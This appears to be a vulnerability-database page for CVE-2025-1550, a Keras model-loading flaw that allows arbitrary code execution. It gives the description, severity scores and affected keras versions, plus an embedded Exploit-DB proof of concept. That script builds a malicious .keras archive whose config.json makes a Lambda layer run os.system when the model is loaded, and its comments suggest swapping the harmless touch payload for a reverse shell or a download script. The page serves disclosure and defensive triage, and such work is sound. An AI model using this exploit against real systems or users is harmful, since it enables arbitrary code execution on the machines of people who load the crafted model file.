CVE-2025-1550

unknown
Published 2025-03-11 ยท Modified 2026-05-20
CVSS v3
โ€”
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
1.0

Description

The Keras Model.load_model function permits arbitrary code execution, even with safe_mode=True, through a manually constructed, malicious .keras archive. By altering the config.json file within the archive, an attacker can specify arbitrary Python modules and functions, along with their arguments, to be loaded and executed during model loading.

Predictions

Exploit likelihood
65%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-52359 remote python python ยท 4 KB
Mohammed Idrees Banyamer ยท 2025-07-16

Keras 2.15 - Remote Code Execution (RCE)

python exploit Source: Exploit-DB
#!/usr/bin/env python3
# Exploit Title: Keras 2.15 - Remote Code Execution (RCE)
# Author: Mohammed Idrees Banyamer
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Date: 2025-07-09
# Tested on: Ubuntu 22.04 LTS, Python 3.10, TensorFlow/Keras <= 2.15
# CVE: CVE-2025-1550
# Type: Remote Code Execution (RCE)
# Platform: Python / Machine Learning (Keras)
# Author Country: Jordan
# Attack Vector: Malicious .keras file (client-side code execution via deserialization)
# Description:
# This exploit abuses insecure deserialization in Keras model loading. By embedding
# a malicious "function" object inside a .keras file (or config.json), an attacker
# can execute arbitrary system commands as soon as the model is loaded using 
# `keras.models.load_model()` or `model_from_json()`.
#
# This PoC generates a .keras file which, when loaded, triggers a reverse shell or command.
#  Use only in safe, sandboxed environments!

#
# Steps of exploitation:
# 1. The attacker creates a fake Keras model using a specially crafted config.json.
# 2. The model defines a Lambda layer with a "function" deserialized from the `os.system` call.
# 3. When the victim loads the model using `load_model()`, the malicious function is executed.
# 4. Result: Arbitrary Code Execution under the user running the Python process.

# Affected Versions:
# - Keras <= 2.15
# - TensorFlow versions using unsafe deserialization paths (prior to April 2025 patch)
#

# Usage:
# $ python3 exploit_cve_2025_1550.py
# [*] Loads the malicious model
# [โœ“] Executes the payload (e.g., creates a file in /tmp)
#

#
# Options:
# - PAYLOAD: The command to execute upon loading (default: touch /tmp/pwned_by_keras)
# - You may change this to: reverse shell, download script, etc.

# Example:
# $ python3 exploit_cve_2025_1550.py
# [+] Created malicious model: malicious_model.keras
# [*] Loading malicious model to trigger exploit...
# [โœ“] Model loaded. If vulnerable, payload should be executed.


import os
import json
from zipfile import ZipFile
import tempfile
import shutil

from tensorflow.keras.models import load_model


PAYLOAD = "touch /tmp/pwned_by_keras"

def create_malicious_config():
    return {
        "class_name": "Functional",
        "config": {
            "name": "pwned_model",
            "layers": [
                {
                    "class_name": "Lambda",
                    "config": {
                        "name": "evil_lambda",
                        "function": {
                            "class_name": "function",
                            "config": {
                                "module": "os",
                                "function_name": "system",
                                "registered_name": None
                            }
                        },
                        "arguments": [PAYLOAD]
                    }
                }
            ],
            "input_layers": [["evil_lambda", 0, 0]],
            "output_layers": [["evil_lambda", 0, 0]]
        }
    }

def build_malicious_keras(output_file="malicious_model.keras"):
    tmpdir = tempfile.mkdtemp()
    try:
        config_path = os.path.join(tmpdir, "config.json")
        with open(config_path, "w") as f:
            json.dump(create_malicious_config(), f)

        metadata_path = os.path.join(tmpdir, "metadata.json")
        with open(metadata_path, "w") as f:
            json.dump({"keras_version": "2.15.0"}, f)

        weights_path = os.path.join(tmpdir, "model.weights.h5")
        with open(weights_path, "wb") as f:
            f.write(b"\x89HDF\r\n\x1a\n")  # ุชูˆู‚ูŠุน HDF5

        with ZipFile(output_file, "w") as archive:
            archive.write(config_path, arcname="config.json")
            archive.write(metadata_path, arcname="metadata.json")
            archive.write(weights_path, arcname="model.weights.h5")

        print(f"[+] Created malicious model: {output_file}")
    finally:
        shutil.rmtree(tmpdir)


def trigger_exploit(model_path):
    print("[*] Loading malicious model to trigger exploit...")
    load_model(model_path)
    print("[โœ“] Model loaded. If vulnerable, payload should be executed.")



if __name__ == "__main__":
    keras_file = "malicious_model.keras"
    build_malicious_keras(keras_file)
    trigger_exploit(keras_file)

OS impact

debian Debian Fixed 1 release
VersionStatusFixed in
bullseye Fixed 0

Package impact

EcosystemPackageVulnerableFixed
python PyPIkeras>=3.0.0,<3.9.03.9.0
python PyPIkeras>=3.0.0,<3.8.03.8.0

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.